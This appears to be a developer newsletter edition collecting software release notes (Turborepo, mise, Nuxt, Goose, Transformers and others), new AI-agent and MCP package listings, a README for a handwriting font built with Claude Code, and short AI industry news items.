	fix: Preserve task output after non-zero exits by @vercel-gh-bot-3[bot] in #14373
	perf: Overlap reading and compression when building cache archives for upload by @anthonyshew in #14617
	perf: Install cache archives locally while they upload by @anthonyshew in #14622
	perf: Skip newline normalization copies for already-normalized TUI output by @anthonyshew in #14595
	chore: Update with-changesets example by @vercel-gh-bot-3[bot] in #14638
	fix: Attribute Cargo.lock changes to the crates whose dependencies changed by @PedroRosalba in #14656
	fix: Stop installing the Unix shell hook automatically by @anthonyshew in #14813
	chore: Release Turborepo 2.11.9-canary.1 by @github-actions[bot] in #14817
	fix: Allow native package manager configuration during setup by @anthonyshew in #14816
	refactor: Remove setup lifecycle script controls by @anthonyshew in #14818
	docs: Use .NET in the multi-language guide by @sahyl in #14793
	fix(cache): Parallelize dry-run HEAD fallback by @FOWEPJF255 in #14801

New Contributors
	@FOWEPJF255 made their first contribution in #14801

Full Changelog: v2.11.8...v2.11.9

Read it at the source



v2026.10.12: Per-tool Python runtimes for PyPI tools, Gradle workspace discovery, and env file find_up

mise · Oct 16, 6:19 PM UTC

PyPI and pipx tools can now choose their own Python runtime, the workspace graph can read Gradle multi-module builds, and env._.file can search parent directories. When mise-versions is having an outage, GitHub lookups now retry on api.github.com, and _.source scripts no longer pick up ~/.bashrc when mise is launched from an editor.
Added
	
Per-tool Python for pypi: tools. Set python to a minor series or an exact version, and mise installs that runtime and passes it to uv or pipx for that tool only. The runtime stays private to the tool and does not become your shell's default Python. mise lock records the selected Python with the tool, and mise prune keeps any runtime that a retained tool environment still uses. You can't combine python with --python/-p in uvx_args or pipx_args. Tools that don't set python behave as before. #14479 (@jdx)

[tools]
"pypi:black" = { version = "latest", python = "3.12" }
"pypi:ruff" = { version = "latest", python = "3.12.12" }

If you change a tool's python, mise installs a new environment instead of reusing the old one. If that install fails, the previous working environment is left untouched. #14504 (@jdx)


	
Gradle workspace discovery. mise tasks graph and mise run --affected now find projects listed by include in settings.gradle or settings.gradle.kts, using Groovy or Kotlin syntax. Project IDs follow Gradle paths: :app becomes gradle::app, and the root project is gradle::. Literal project(":lib") references in a project's top-level dependencies {} block become graph edges. mise reads the scripts as text and never runs Gradle. If an include is computed or conditional, a projectDir isn't a plain file("...") literal, or both settings files exist, mise reports an error that points to [monorepo.projects."gradle:..."] overrides. Editing the settings script marks every Gradle project as affected. Based on a prototype by @Jarvvski. #14512 (@jdx)


	
find_up for env._.file. With find_up = true, mise looks for a relative path in the current directory and in every parent, so a global config can load each project's .env files. Files load from the root down, so values in closer files win. The default is false, and the option has no effect on absolute paths. #14497 (@jdx)

# ~/.config/mise/config.toml
[env]
_.file = [
  { path = ".env", find_up = true },
  { path = ".env.local", find_up = true },
]


	
Detect git-rewritten files in watch_files hooks. mise sets MISE_WATCH_FILES_GIT_REWRITTEN=1 when every changed file was last written before git's most recent HEAD move (checkout, pull, rebase). Commits don't count as HEAD moves. Hooks such as format-on-edit can use this to skip files the user didn't edit. git stash pop/apply don't move HEAD, so mise doesn't detect them. #14511 (@jdx)

[[watch_files]]
patterns = ["**/*.go"]
run = '[ -n "$MISE_WATCH_FILES_GIT_REWRITTEN" ] || { IFS=:; hk fix $MISE_WATCH_FILES_MODIFIED; }'


	
.tera sources inferred for dotfile group templates. A mode = "template" entry in [dotfile_groups] no longer needs a source just to point at a .tera file. If the exact path doesn't exist, mise falls back to the same path with .tera added. An explicit source still takes precedence, and the .tera file is not also deployed under its suffixed name. #14502 (@jdx)


	
mise lock warns about unsupported platforms. If you name platforms with lockfile_platforms or mise lock --platform, mise prints a warning for each tool version that has no build for one of them, for example apko@0.30.0 is not available for windows-x64; it will not install there. The default platform set still only logs this at debug level, and the exit status is unchanged. #14500 (@jdx)


	
Registry: added martin (github:maplibre/martin). #14488 (@ivan-ivkovic, @jdx)



Fixed
	GitHub lookups survive mise-versions outages. If mise-versions times out, drops the connection, or returns 429 or 5xx, mise now retries the lookup on api.github.com, using your GitHub token if one is set. This covers releases, tags, repository contents, attestations and self-update. A 404, 403 or empty answer from mise-versions is still trusted and not retried, so normal use doesn't spend GitHub's anonymous rate limit. If both sources fail, the error shows both failures, and a previously cached version list is still used. #14501 (@jdx)
	_.source no longer loads ~/.bashrc. When mise's stdin was a socket and SHLVL was unset, which happens when an editor extension such as the VS Code mise extension starts it, bash sourced ~/.bashrc before the script. That leaked variables into the environment and could drop the script's PATH entries. The script now runs with --norc. #14487 (@pikeas)
	Each version entry uses its own options. When a tool listed several versions, options set only on the first entry leaked into the later ones. For example, prerelease = true on a latest entry made a separate "1" entry resolve to a prerelease. #14476 (@JamBalaya56562, @risu729)
	Project overrides now work when a workspace provider fails. Previously, if a provider couldn't read its manifest (for example, a malformed go.work), mise tasks graph and mise run --affected failed for the whole repo. Declaring a project in that provider's namespace under [monorepo.projects] now replaces the provider's output and clears its error. Providers with no declared projects still fail loudly. #14508 (@jdx)

Documentation
	Explained why mise activate keeps shims on PATH #14493 (@jdx), and clarified the platform-specific mise cache paths for CI #14506 (@zeitlinger).

Full Changelog: v2026.10.11...v2026.10.12
Sponsor mise
mise is built and maintained by @jdx, an open source developer at entire.io, the title sponsor of his open source work.
If mise saves you or your team time, please consider becoming an individual or company sponsor. Your support funds ongoing development and helps keep mise fast, free, and independent.

Read it at the source



Nuxt 4.6.2: v4.6.2 is the next patch release

Nuxt · Oct 16, 5:21 PM UTC


v4.6.2 is the next patch release.


Changelog
compare changes
Fixes
	nitro: apply useHeadSafe rules to server island head (493565e99)
	nitro-server: read router params from the path h3 matched (010f6b43d)
	nitro: match server route rules case-insensitively unless routing is sensitive (f6cfee52c)
	nuxt: resolve rooted paths through the URL parser (#36617)
	nuxt: resolve empty route types in shared context (#36576)
	nitro: preserve server tsconfig with relocated build dir (#36494)
	nuxt: fix scroll offset for IDs starting with numbers (#36524)
	kit: do not exclude module directories with a dot in their name from app tsconfig (#36331)
	nuxt: detect vapor slots with rawVaporSlotKey from vue (#36614)
	nuxt: keep middleware layout when restoring deferred prerendered route (#36560)
	schema: provide default value for experimental.typescriptPlugin (#36561)
	vite: only replay compile error overlays to newly loaded pages (#36611)
	nuxt: re-export AnyFetchPath for emitted server route types (#36610)
	vite: warm up the dev ssr entry from a nitro plugin (#36615)
	nitro: avoid unused h3 imports in nuxt/server runtime (#36609)
	vite-server: scope asset url helpers to the build (#36591)
	nuxt: resolve nuxt/app to the app's runtime (#36587)
	kit: lowercase filename-derived handler method on nitro v2 (#36567)
	nuxt,nitro: normalise string/array appMiddleware (#36565)
	nitro: pass response headers to render:response listeners (#36583)
	vite: resolve inlined vue to its bundler build in dev (#36569)
	nuxt: don't start a page transition with no page to leave (#36535)
	nuxt: preserve error state on aborted or cancelled navigation (#36546)
	vite,nitro: link null-byte virtual css through /@id/ in dev (#36549)
	kit: resolve module dependencies from the declaring module (#36542)
	nitro: only disable h3 + nitro presets when nitroAutoImports is off (#36548)
	nitro,vite: don't access unspecified dependencies (#36541)
	nitro: don't inline deps under absolute transpile dirs (#36540)
	vite-server: respect spa loading template location (#36536)

Refactors
	webpack,rspack: inline friendly errors plugin (#36568)

Documentation
	remove DeepWiki badge (#36616)
	rename H(TTP) to HTTP (#36559)
	mention proxy route rule (4a529be68)
	reference definePlugin and defineNitroPlugin in server plugin tip (64b8e0334)
	open a PR to list a module (e551df267)
	clarify testing environments, runners, and config (#32963)
	align spa loading template references (#36552)
	explain how to disable iOS Safari phone number detection (#36539)
	fix outdated internal links (#36550)
	explain how to restore nitro auto-imports with compat v5 (7499a445b)
	add spa-loading-template documentation (#36537)

Chore
	keep @nuxt/telemetry ignore for production mode (3110d6947)
	fix knip, eslint and type import failures in ci (fb01db4eb)
	exclude nuxt/app entry shim from root typecheck (c65cef3a8)
	animate readme banner (#36593)
	actually exclude fixtures from test:engines (6ce412822)
	resolve #build/server-routes stub via root tsconfig paths (8235dd605)

Tests
	wait for scroll to settle in route-scroll e2e (ca784deb7)

CI
	comment nuxt.com preview links on docs pull requests (#36594)
	regenerate kit inlinedDependencies in autofix (4b6da3a29)
	remove docs deploy triggers (917bdf218)

New Contributors
	Sandro Circi (@sandros94)
	Yunus Ozen (@ozenyunus35)
	Vladislav (@dsfcoll)
	AXH-xecoy (@axh-xecoy)
	Jess (@JessicaSachs)
	Gareth (@0xgdr)

Contributors
	Daniel Roe (@danielroe)
	Jonas Thelemann (@dargmuesli)
	Sandro Circi (@sandros94)
	Yunus Ozen (@ozenyunus35)
	Vladislav (@dsfcoll)
	Sébastien Chopin (@atinux)
	Kazbek Askarov (@kazbekaskarov)
	Nicholas (@Neekoras)
	Peter (@tada5hi)
	Baptiste Leproux (@larbish)
	Hugo (@HugoRCD)
	Harlan Wilton (@harlan-zw)
	AXH-xecoy (@axh-xecoy)
	Jess (@JessicaSachs)
	Alex Liu (@Mini-ghost)
	Gareth (@0xgdr)
	Florian Heuberger (@Flo0806)


Read it at the source



Release v26.9.20.23-stable

ClickHouse · Oct 16, 5:15 PM UTC

No content.

The full piece, at the source



Goose 1.55.0: AIgateway declarative provider #12528

Goose · Oct 16, 5:07 PM UTC

Features
	AIgateway declarative provider #12528
	Propagate W3C trace context from ACP prompts to MCP tool calls #12697
	Surface provider x-request-id on responses and errors #12587
	Honor supports_vision declared on custom provider models #12769
	Use live model metadata for OpenAI reasoning and prefer the Responses API #12568
	Cap auto-compaction at 225k tokens by default #12790
	Improve askai bot relevance #12728

Bug Fixes
	Adaptive thinking for Claude Sonnet and Haiku 5.5 #12761
	Reject malformed GOOSE_MODE across ACP providers #12846
	Bedrock: don't retry non-context ValidationException on converse_stream #12710
	OpenRouter: do not set transforms field unconditionally #11374
	Apply long-context price tiers to cost estimates #12787
	Finish pending tools before enforcing max turns #12702
	Not offer delegate to code-mode scripts #12711
	Anthropic: forward unknown request_params to wire, mirroring openai engine #12720
	Desktop: show copy button on messages with thinking blocks #12726

Improvements
	Bind subagents by their parent's hooks, mode and approvals #12802
	Lease a session's selection and start each extension on first use #12775
	Make Stop end the run promptly and save what it produced #12765
	Make tool operations own tool call checks #12865
	Not infer or steer while a tool approval is pending #12808
	Leave the login-shell PATH to whoever launches goose #12799
	Build turns from the session record: derive recipe prompt parts, persist prompt, goal and container #12730
	Add ProviderManager and route session providers through it #12745
	Use typed structs for openai message formatting #12725
	Remove background subagents and orchestrator; make Doctor session-only #12729
	Avoid duplicate provider initialization for foreground subagents #12705
	Refresh the model catalog on the blocking pool #12727
	Remove false optionality in desktop props #12776
	Delete the legacy agent loop #12760

Documentation
	Agentic State Machines #12130


Read it at the source



awscrt v0.38.0

awscrt (PyPI) · Oct 16, 5:05 PM UTC

What's Changed Python 3.15 by @sbSteveK in https://github.com/awslabs/aws crt python/pull/768 bind out expected checksum by @DmitriyMusatkin in https://github.com/awslabs/aws crt python/pull/770 feat: add support for windows arm64 by @azkrishpy in https://github.com/awslabs/aws crt python/pull/767 Add eventual consistency to fix mqtt test failures by @xiazhvera in https://github.com/awslabs/aws cr

The full piece, at the source



league/uri-interfaces 7.9.0

league/uri-interfaces (Packagist) · Oct 16, 5:02 PM UTC

Added HostRecord::parse returns a new HostRecord or null complements HostRecord::from Fixed Encoder URI component encoding 191 Preserve the root when removeDotSegments pops past it (RFC 3986 §5.2.4) 190 UriString URI normalization algorithm to be inline with PHP's Uri extension Deprecated None Removed None Full Changelog : https://github.com/thephpleague/uri interfaces/compare/7.8.1...7.9.0

The full piece, at the source



@eslint/core mcp-v0.3.15

@eslint/core (npm) · Oct 16, 5:02 PM UTC

0.3.15 (2026 10 16) Bug Fixes update dependency eslint to ^10.13.0 ( 524) (df90d55)

The full piece, at the source



league/uri-components 7.9.0

league/uri-components (Packagist) · Oct 16, 5:01 PM UTC

Added Query parameter type conversion HierarchicalPath parameter type conversion URLSearchParams parameter type conversion FragmentDirectibes\Encoder to improve encoding for fragment directives Fixed Update requirement to use uri 7.9.0 Modifier::redactQueryPairs() Deprecated None Removed None Full Changelog : https://github.com/thephpleague/uri components/compare/7.8.1...7.9.0

The full piece, at the source



league/uri 7.9.0

league/uri (Packagist) · Oct 16, 5:00 PM UTC

Added UriTemplate extraction feature UriTemplate::hasVariable() method to tell if the instance contains variable or not UrlPattern extraction feature Adding Type converter feature Fixed UriTemplate::expandToPsr7 method implementation was incorrect Deprecated None Removed None Full Changelog : https://github.com/thephpleague/uri/compare/7.8.1...7.9.0

The full piece, at the source



hypothesis v6.170.1

hypothesis (PyPI) · Oct 16, 4:47 PM UTC

This patch makes generating unique collections, such as "sets()" or "lists()" with "unique=True", considerably more efficient (issue 4458). Hypothesis no longer mutates test cases by copying one element of a unique collection over another element of the same collection, and no longer probes for minimal examples by drawing every element at its simplest value both of which were certain to be rejecte

The full piece, at the source



clickhouse-connect v1.11.0

clickhouse-connect (PyPI) · Oct 16, 4:31 PM UTC

clickhouse connect v1.11.0 Highlights Added Python 3.15 support and wheels, including experimental free threaded 3.15t wheels. Note that lz4 currently builds from source on 3.15. Rust now supports Python row and column queries in non UTC server and local timezones. Requires clickhouse connect core =0.2.3 . NumPy/Pandas timezone queries still have their existing routing. Fixed synchronous HTTP retr

The full piece, at the source



pyathena v3.40.0

pyathena (PyPI) · Oct 16, 3:25 PM UTC

v3.40.0 is a minor release of the 3.x maintenance line. It backports bug fixes from master ( 1198). The 3.x line still supports Python 3.10 and sqlalchemy =1.0.0 . Thanks to @greg om for reporting the SQLAlchemy ping failure with unload=true ( 1189) and fixing it ( 1185). SQLAlchemy With unload=true , the connection ping ( pool pre ping , and connection tests such as Apache Superset's) no longer f

The full piece, at the source



collab-staging: agent_ui: Respect effort-specific thinking controls (#62480)

Zed · Oct 16, 3:00 PM UTC

list_models already returns whether each effort level supports

disabling thinking. Claude Opus 5 supports disabling thinking only at

certain effort levels, so the thinking control should reflect the

capability of the selected effort level. When thinking cannot be

disabled, we keep the control visually enabled but non-toggleable and

display a tooltip explaining why and suggesting that the user select a

lower effort level.

Release Notes:
	Improved thinking controls to explain when thinking cannot be disabled

at the selected effort level.


Read it at the source



laravel/wayfinder v0.1.23

laravel/wayfinder (Packagist) · Oct 16, 2:28 PM UTC

What's Changed Bump shivammathur/setup php from 2.37.2 to 2.40.0 in the github actions group by @dependabot[bot] in https://github.com/laravel/wayfinder/pull/332 Add a flag to skip database connection by @sweptsquash in https://github.com/laravel/wayfinder/pull/331 New Contributors @sweptsquash made their first contribution in https://github.com/laravel/wayfinder/pull/331 Full Changelog : https://

The full piece, at the source



eslint v10.13.0

eslint (npm) · Oct 16, 2:23 PM UTC

Features 48d5cc4 feat: report references inside IIFEs in no use before define ( 21238) (Irfan fandi) a39d9fb feat: add globalThis to no obj calls ( 21382) (synthex byte) 66ac583 feat: check yield expressions in no unsafe optional chaining ( 21399) (xbinaryx) Bug Fixes 87bd2ce fix: avoid redeclared let when no var and one var fix together ( 21389) (Daniel Pinto) Documentation 4783a68 docs: Update R

The full piece, at the source



cuda-bindings cuda-core-v1.2.2

cuda-bindings (PyPI) · Oct 16, 2:19 PM UTC

Release notes https://nvidia.github.io/cuda python/cuda core/1.2.2/release/1.2.2 notes.html

The full piece, at the source



FastAPI 0.143.3: Fix non-finite float serialization in JSONL and SSE streams. PR #16509 by @tiangolo

FastAPI · Oct 16, 2:13 PM UTC

Fixes
	Fix non-finite float serialization in JSONL and SSE streams. PR #16509 by @tiangolo.

Docs
	Update Python format in Markdown with Ruff. PR #16505 by @tiangolo.


Read it at the source



pr-56106-video: chore(release): drop the separate opencode-beta release repo (#56083)

opencode · Oct 16, 1:54 PM UTC

Co-authored-by: thdxr 826656+thdxr@users.noreply.github.com

The full piece, at the source



next-20261016: linux-next

Linux kernel · Oct 16, 1:47 PM UTC

Version: next-20261016 (linux-next) Released: 2026-10-16

The full piece, at the source



Release v5.20.1

Transformers · Oct 16, 1:02 PM UTC

Release v5.20.1
Special surprise including the new model Beam from Reflection AI 

Beam is a token-efficient, frontier-scale model focused on coding and agentic use cases. It is built for teams that want to run a powerful model on their own hardware, infrastructure, or cloud, and customize it to their specific needs.
Links: Documentation
	Fix small bug in auto mappings (#49664) by @yonigozlan in #49664

Some real patch fixes
We broke loading models on older torch versions should be fixed now. But here is the full list of fixes
	Fix HunYuan-VL image assignment during batched generation (#49557) by @Arnav66692
	Fix DeepGEMM Mega MoE under expert parallelism(#49428) by @IlyasMoutawwakil
	Fix from_pretrained on torch 2.7: require torch>=2.8 for distributed checkpointing (#49652) by @naveecode
	Make DtensorShardOperation work on torch 2.6 and 2.7 (#49657) by @hazelxue

Full Changelog: v5.20.0...v5.20.1

Read it at the source



New Repos & Packages


pi-mcp-extension 1.9.6

npm #ai-agent · Oct 17, 12:24 PM UTC

MCP (Model Context Protocol) client extension for the Pi coding agent — connect Pi to any MCP server

The full piece, at the source



@lovable.dev/mcp-js 3.1.1

npm #mcp · Oct 17, 9:30 AM UTC

Author MCP servers for Lovable apps. Declare tools with defineTool, register them in defineMcp, and a framework adapter (TanStack or Supabase Edge Functions) emits the route(s) at build time.

The full piece, at the source



@tangle-network/create-agent-app 0.60.185

npm #ai-agent · Oct 17, 9:02 AM UTC

Create a tested Tangle agent application with either a tool loop or a complete chat interface.

The full piece, at the source



@tangle-network/agent-app 0.60.185

npm #ai-agent · Oct 17, 8:57 AM UTC

Build agent applications with typed chat, tools, sandboxes, integrations, billing, and evaluation.

The full piece, at the source



pi-mcp-adapter 5.3.2

npm #mcp · Oct 17, 7:57 AM UTC

MCP (Model Context Protocol) adapter extension for Pi coding agent

The full piece, at the source



@plannotator/pi-extension 0.28.23

npm #ai-agent · Oct 17, 5:25 AM UTC

Plannotator Pi extension - interactive plan review with annotations, annotate agent messages, and review code/PRs

The full piece, at the source



harshpreet931/harshpreet-hand (7 stars)

GitHub #generative-ai · Oct 17, 5:00 AM UTC

Harshpreet Hand

  I gave Claude Code 120 pages of my handwritten college notes.

  It gave me back my handwriting, as a real font.

  One prompt · 1 h 06 min · $13.68 in API calls


  Type in it → ·
  Download ·
  Use it in one line ·
  How it was made ·
  Make your own


  
  
  
  

Every letter comes from the notes: it was found in the page photos, then redrawn
along the pen's path with one steady ballpoint nib. Each letter has 2–3 real
variants from different pages that rotate as you type, so doubled letters never
look stamped.
Watch it get built

2x speed. Full 65-second video (MP4). Every frame is real pipeline output, made with Remotion in video/.
Use it in one line
<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/harshpreet931/harshpreet-hand@v1.0.0/dist/harshpreet-hand.css">
<style>
  body { font-family: "Harshpreet Hand", cursive; line-height: 1.6; }
</style>
Or install it on your computer for Figma, Keynote, Word and the rest: grab
HarshpreetHand-Regular.ttf and -Bold.ttf from the
latest release.
What's in dist/
	File	Use
	HarshpreetHand-Regular.woff2 / -Bold.woff2	Web (use these)
	HarshpreetHand-Regular.woff / -Bold.woff	Web fallback for very old browsers
	HarshpreetHand-Regular.ttf / -Bold.ttf	Install on your computer (Figma, Keynote, …)
	harshpreet-hand.css	@font-face rules + a ready data-theme="handwritten" theme
	specimen.html	Specimen and type tester (live version)
	notes-sample.jpg	Crop of the original notes, used by the specimen

Add it to a site as a theme
	Copy the .woff2 (and optionally .woff) files into the site, e.g. public/fonts/.
	Copy harshpreet-hand.css next to them (or paste its rules into your global CSS) and fix the url() paths if needed.
	Turn the theme on: document.documentElement.dataset.theme = "handwritten".

[data-theme="handwritten"] {
  font-family: "Harshpreet Hand", "Segoe Print", cursive;
  font-size: 1.15em;   /* x-height is 0.44 em, a bit smaller than UI fonts */
  line-height: 1.6;    /* room for the long g / y loops */
  font-feature-settings: "calt" 1, "kern" 1;
}
Tips:
	Keep line-height at 1.5 or more. The g and y loops go deep, just like in the notes.
	Use it for headings and prose. Keep code, tables and dense UI in your normal fonts.
The theme CSS already does this for code/pre.
	Optional classes in the CSS: .notebook adds ruled paper with a red margin line,
.notebook-spacing adds the wide word gaps from the notes, and .plain-r
switches to the plain r.

Features
	calt (on by default): every letter and most figures have 2–3 real variants from different
pages. The font rotates through them as you type, so hello → h, e², l³, l¹, o² and
doubled letters never look stamped. Each variant also sits slightly higher or
lower than the others, like real handwriting.
	ss01: a plain r without the little loop at its foot.
	kern: kerning computed from the letter outlines (e.g. To, Ty, r.).
	Coverage: A–Z, a–z, 0–9, ASCII punctuation, curly quotes, dashes, … • · ° × ÷,
arrows → ← ↑ ↓ (taken from the arrows in the notes' margins), and Western European accents.

Quirks it keeps
Ring-dotted i/j · looped l · r with a small loop at its foot · curled
d · t crossed on the right only · curl-footed 2 · the crossed-leg
& · hook-headed → · the rounded W with a tall first stroke · the barred I.
How it was made
The source is CN_CompleteNotes_FullSyllabus.pdf:
120 phone photos of my Computer Networks notes, covering the full syllabus. (If
you're studying CN, they're yours to read too.)
	Step	Script (pipeline/)	What it does
	1	render_pages.py	Renders the PDF pages to images
	2	ink.py, segment.py, segment_all.py	Separates the blue ink from the paper, ruled lines, red margin and back-page bleed-through, then splits pages into words and letter groups
	3	labels/*.txt	Transcriptions of 704 words by word id (12: packets, {0:W} to assign one group directly, \? for a literal ?)
	4	harvest.py	Matches transcriptions to letter groups. Where letters touch, a dynamic-programming alignment recovers the single letters. Output: 2,479 samples normalized to baseline and x-height
	5	select_samples.py	Ranks each letter's samples by typicality and photo sharpness
	6	candidates.py, strokes.py	Skeleton → pen centerline graph → smoothing (strokes joined through crossings)
	7	design/picks.json, design.py, construct.py	The chosen variants, height normalization, and letters built from parts of the hand (G, J, X, most punctuation, accents, ← ↑ ↓)
	8	build_font.py	Round-nib rendering → potrace → TrueType, metrics, calt/ss01/kern, WOFF/WOFF2
	–	verify.py, preview.py, grid.py, make_specimen.py	Checks (HarfBuzz + FreeType) and the specimen page

What it cost
Measured, not estimated: pipeline/session_stats.py
totals the usage blocks in the Claude Code session log and prices them at
Claude Opus 5.5 API rates. Prompt caching is what kept it at $13.68 instead of $140.
Rebuild it
brew install potrace                      # or: apt install potrace
python3 -m pip install -r requirements.txt
pipeline/run_all.sh                       # ≈10 min; intermediates go to work/
pipeline/run_all.sh font                  # only the font, after tweaking spacing or weight
Things you can tweak in pipeline/build_font.py:
	WEIGHTS: nib size per weight (pen is a fraction of the x-height; Regular 0.13, Bold 0.20). Add a Light entry for a third weight.
	SB / SPACE: letter and word spacing.
	FAMILY / PS_FAMILY: the font's name.

To swap a variant, change its source [page, word id, group] in design/picks.json
(python3 candidates.py abc out.png shows the numbered candidates), then run run_all.sh.
Make one from your own handwriting
The pipeline is tuned to these notes (blue ballpoint on ruled paper, shot on a
phone), but every step is a plain script and every choice specific to my hand
lives in a file you can edit:
	Put photos of your pages into one PDF. Blue ink on ruled paper works as is;
for other inks, adjust the colour model in pipeline/ink.py.
	cd pipeline && python3 render_pages.py ~/my-notes.pdf && python3 segment_all.py
splits every page into words. python3 segment.py 4 13 38 then draws numbered
contact sheets for those pages (work/seg/sheet_p004_0.png, …).
	Replace labels/*.txt with your own transcriptions (labels/p004.txt for page 4),
one id: word line per word. About 700 words gave me 2–3 good variants of most letters.
	python3 harvest.py && python3 select_samples.py, then choose your variants in
design/picks.json (python3 candidates.py abc out.png shows the candidates).
	Set FAMILY / PS_FAMILY and the name strings in build_font.py, then
python3 design.py && ./run_all.sh font.

construct.py builds G, J, X and most punctuation from parts of my letters, so
check those against your hand. The shortcut is the way this one was made: open
the repo in Claude Code next to your PDF and
ask it to adapt the pipeline to your handwriting.
Limitations
	A few capitals (V, W, Z) had only one clean sample in the notes, so they have one variant.
	G, J, X and most punctuation were built from other parts of the hand rather than traced directly.
	No hinting: it renders well at normal web sizes on modern browsers, but it isn't tuned for tiny text on old Windows ClearType.

License
	Fonts (dist/*.ttf, *.woff, *.woff2) and glyph data (design/):
SIL Open Font License 1.1. Use, embed and ship them in personal
or commercial work; you can't sell the font on its own.
	Code (pipeline/, video/): MIT.
	Notes and images (CN_CompleteNotes_FullSyllabus.pdf, assets/):
CC BY 4.0.

If you make something with it, or a font from your own handwriting, I'd love to
see it. Open an issue or tag me.

Read it at the source



node-llama-cpp 3.22.2

npm #llm · Oct 17, 2:08 AM UTC

Run AI models locally on your machine with node.js bindings for llama.cpp. Enforce a JSON schema on the model output on the generation level

The full piece, at the source



agent-afk 5.321.10

npm #ai-agent · Oct 17, 1:58 AM UTC

Open-source coding-agent harness you can actually change — own the loop (prompts, gates, routing, skills, terminal states), use any model, run long tasks while you're away.

The full piece, at the source



@zereight/mcp-gitlab 2.3.2

npm #mcp · Oct 16, 11:09 PM UTC

GitLab MCP server for projects, merge requests, issues, pipelines, wiki, releases, and more

The full piece, at the source



@oh-my-pi/pi-coding-agent 18.11.3

npm #llm · Oct 16, 9:52 PM UTC

Coding agent CLI with read, bash, edit, write tools and session management

The full piece, at the source



@oh-my-pi/pi-mnemopi 18.11.3

npm #mcp · Oct 16, 9:50 PM UTC

Local SQLite memory engine for omp agents

The full piece, at the source



deepagents 1.15.1

npm #llm · Oct 16, 8:15 PM UTC

Deep Agents - a library for building controllable AI agents with LangGraph

The full piece, at the source



@ai-sdk/mcp 2.0.78

npm #mcp · Oct 16, 8:11 PM UTC

The **Model Context Protocol (MCP) client** for the [AI SDK](https://ai-sdk.dev/docs) lets you connect to MCP servers and use their tools with AI SDK functions like `generateText` and `streamText`.

The full piece, at the source



tokenx 2.2.0

npm #llm · Oct 16, 5:05 PM UTC

Fast token estimation with 95%+ average accuracy in a 2kB bundle

The full piece, at the source



e2e 0.21.2

npm #ai-agent · Oct 16, 4:25 PM UTC

SDK, runner, and CLI for agentic end-to-end testing

The full piece, at the source



@reactuses/core 6.6.0

npm #mcp · Oct 16, 2:44 PM UTC

Collection of 100+ essential React Hooks with TypeScript support, tree-shaking, and SSR compatibility. Sensors, browser APIs, state management, animations, and more.

The full piece, at the source



eve 0.80.1

npm #mcp · Oct 16, 2:34 PM UTC

Filesystem-first framework for durable backend AI agents that run anywhere.

The full piece, at the source



@scalar/openapi-to-markdown 1.6.0

npm #llm · Oct 16, 2:27 PM UTC

Create plain Markdown from OpenAPI documents (for LLMs)

The full piece, at the source



@raishin/vanguard-frontier-agentic 3.16.0

npm #mcp · Oct 16, 1:59 PM UTC

Cloud and zero-trust agentic workflow marketplace for skills, agents, rules, MCP references, and compliance-aware architecture.

The full piece, at the source



AI in the Field


Large language models for depression assessment from brief daily diaries

npj Digital Medicine · Oct 17, 12:00 AM UTC

npj Digital Medicine, Published online: 17 October 2026; doi:10.1038/s41746-026-03388-6 Large language models for depression assessment from brief daily diaries

The full piece, at the source



Multi-KB Retrieval with Amazon Connect Customer AI Agents for Global Contact Centers

AWS Contact Center · Oct 16, 6:43 PM UTC

How AcmePets unified disparate knowledge sources to deliver accurate, region-specific pet information to contact center agents worldwide Introduction AcmePets is a worldwide pet information service with global contact centers that helps callers from around the world access accura…

The full piece, at the source



Fostering community amid Kendall Square’s innovation

MIT News · Oct 16, 4:00 PM UTC

The 18th annual Kendall Square Association Annual Meeting explored how new technologies could be a force for shared prosperity in society.

The full piece, at the source



Watch


AWS Glow-Up: New Sign-Ups & Surviving Day One with Kiro

AWS Events · YouTube · Oct 17, 7:16 AM UTC

Join us today and watch Ep. 6 of Cloud Report.

The full piece, at the source



Meet Kevin Klues - Speaker at KubeCon + CloudNativeCon North America

CNCF · YouTube · Oct 16, 3:01 PM UTC

Memory-coherent hardware gives applications a unified address space across CPU and GPU memory. It also challenges assumptions built into Kubernetes. At KubeCon + CloudNativeCon North America, Kevin Klues of NVIDIA will examine the failures uncovered by this new memory model, the…

The full piece, at the source



How DPR Construction Delivers Insights Faster With AI In Snowflake

Snowflake · YouTube · Oct 16, 3:00 PM UTC

DPR Construction, a $14 billion commercial contractor, uses Snowflake to scale data and AI across technologically complex projects. See how the team generates narrative insights directly in Snowflake Cortex without moving data to third-party LLMs. By consolidating data from ERP,…

The full piece, at the source



Why AI Can Write Code But Can’t Keep It Running (Yet)

a16z · YouTube · Oct 16, 2:30 PM UTC

AI can write production code in minutes. But can it debug and operate that code when something goes wrong? Grepr CEO Jad Naous argues that running real-world systems is a fundamentally harder challenge, with unpredictable workloads, failures, and countless possible states. Jad jo…

The full piece, at the source



Vendor Neutral Governance Tripled OpenSearch Contributors | Bianca Lewis

The Linux Foundation · YouTube · Oct 16, 2:26 PM UTC

OpenSearch reached 2.4 billion downloads and 400+ contributing companies after moving to a vendor-neutral home under the Linux Foundation, as Bianca Lewis, Executive Director of the OpenSearch Software Foundation, explains at OpenSearchCon North America 2026. Full article and tra…

The full piece, at the source



JetBrains Pafos Camp 2026: 12 Days of Competitive Programming

JetBrains · YouTube · Oct 16, 1:00 PM UTC

12 days, 8 contests, 22 teams, one goal: getting ready for the ICPC World Finals. These teams had already made it through the ICPC regional competitions and championships to earn their place in the World Finals. From August 18 to 29, teams from 19 universities across 14 countries…

The full piece, at the source


That's the whole edition.

